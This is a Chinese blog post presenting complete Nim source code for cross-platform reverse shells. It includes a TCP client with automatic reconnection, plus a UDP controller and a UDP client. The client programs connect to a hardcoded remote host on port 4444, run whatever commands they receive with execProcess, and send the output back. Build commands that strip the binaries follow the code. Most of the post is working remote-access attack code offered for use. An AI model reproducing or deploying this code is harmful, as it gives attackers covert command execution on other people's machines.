nim语言实现跨平台反弹shell

在网上看到这个Nim语言，Python的语法，C的性能，还能跨平台，写了两个反弹shell玩了一下。

一、tcp 反弹shell，代自动重连功能

1
import net
2
import osproc
3
import os
4
import strutils
5

6
var ip = "server.nixops.me"
7
var port = 4444
8

9
var args = commandLineParams()
10

11
if args.len() == 2:
12
    ip = args[0]
13
    port = parseInt(args[1])
14

15
while true:
16
    var socket = newSocket()
17
    try:
18
        socket.connect(ip, Port(port))
19
        while true:
20
            try:
21
                socket.send(system.hostOS & "_" & system.hostCPU & "> ")
22
                var command = socket.recvLine()
23
                var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
24
                socket.send(result)
25
            except:
26
                socket.close()
27
                break
28
    except:
29
        sleep(10000)
30
        continue

以上是被控端代码，控制端使用nc监听4444等待连接即可。

二、udp反弹shell

2.1 udp server控制端

1
import os
2
import strutils
3
import netty
4

5
var ip = "0.0.0.0"
6
var port = 4444
7

8
var args = commandLineParams()
9

10
if args.len() == 2:
11
    ip = args[0]
12
    port = parseInt(args[1])
13

14
var server = newReactor(ip, port)
15
echo "Listenting for UDP on " & ip & ":" & intToStr(port)
16

17
while true:
18
  server.tick()
19
  for connection in server.newConnections:
20
    echo "[new] ", connection.address
21

22
  for connection in server.deadConnections:
23
    echo "[dead] ", connection.address
24

25
  for msg in server.messages:
26
    echo ">>> Receive Client MESSAGE: <<<", msg.data
27
    echo msg.data
28
    echo ">>> Client MESSAGE Finished !<<<"
29

30
  for connection in server.connections:
31
    var cmd = readLine(stdin)
32
    if cmd.len > 0:
33
      server.send(connection, cmd)
34
      echo ">>> Success Send Command: " & cmd & " TO:  ", connection.address

2.2 udp 客户被控端

1
import net
2
import osproc
3
import os
4
import strutils
5
import netty
6

7
var ip = "server.nixops.me"
8
var port = 4444
9

10
var args = commandLineParams()
11

12
if args.len() == 2:
13
    ip = args[0]
14
    port = parseInt(args[1])
15

16
while true:
17
    var client = newReactor()
18
    var c2s = client.connect(ip, port)
19
    client.send(c2s,"Hello from : " & system.hostOS & "_" & system.hostCPU & "! ")
20
    while true:
21
        try:
22
            client.tick()
23
            var command = ""
24
            for msg in client.messages:
25
                command.add(msg.data)
26

27
            if command.len > 0:
28
                var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
29
                client.send(c2s,result)
30
            if client.deadConnections.len > 0 :
31
                client.disconnect(c2s)
32
                break
33
        except:
34
            sleep(10000)
35
            continue

三、编译

1
nim c -d:danger -d:strip --opt:size tcp.nim
2
nim c -d:danger -d:strip --opt:size udpc.nim
3
nim c -d:danger -d:strip --opt:size udps.nim

四、总结

Nim优点：好学、高性能、静态类型、跨平台、编译速度快缺点也非常明显：生态比较差，标准库也不够完善，以上代码想用daemon方式运行就不行，标准库还没有实现

dacj4n's

一、tcp 反弹shell，代自动重连功能

二、udp反弹shell

2.1 udp server控制端

2.2 udp 客户被控端

三、编译

四、总结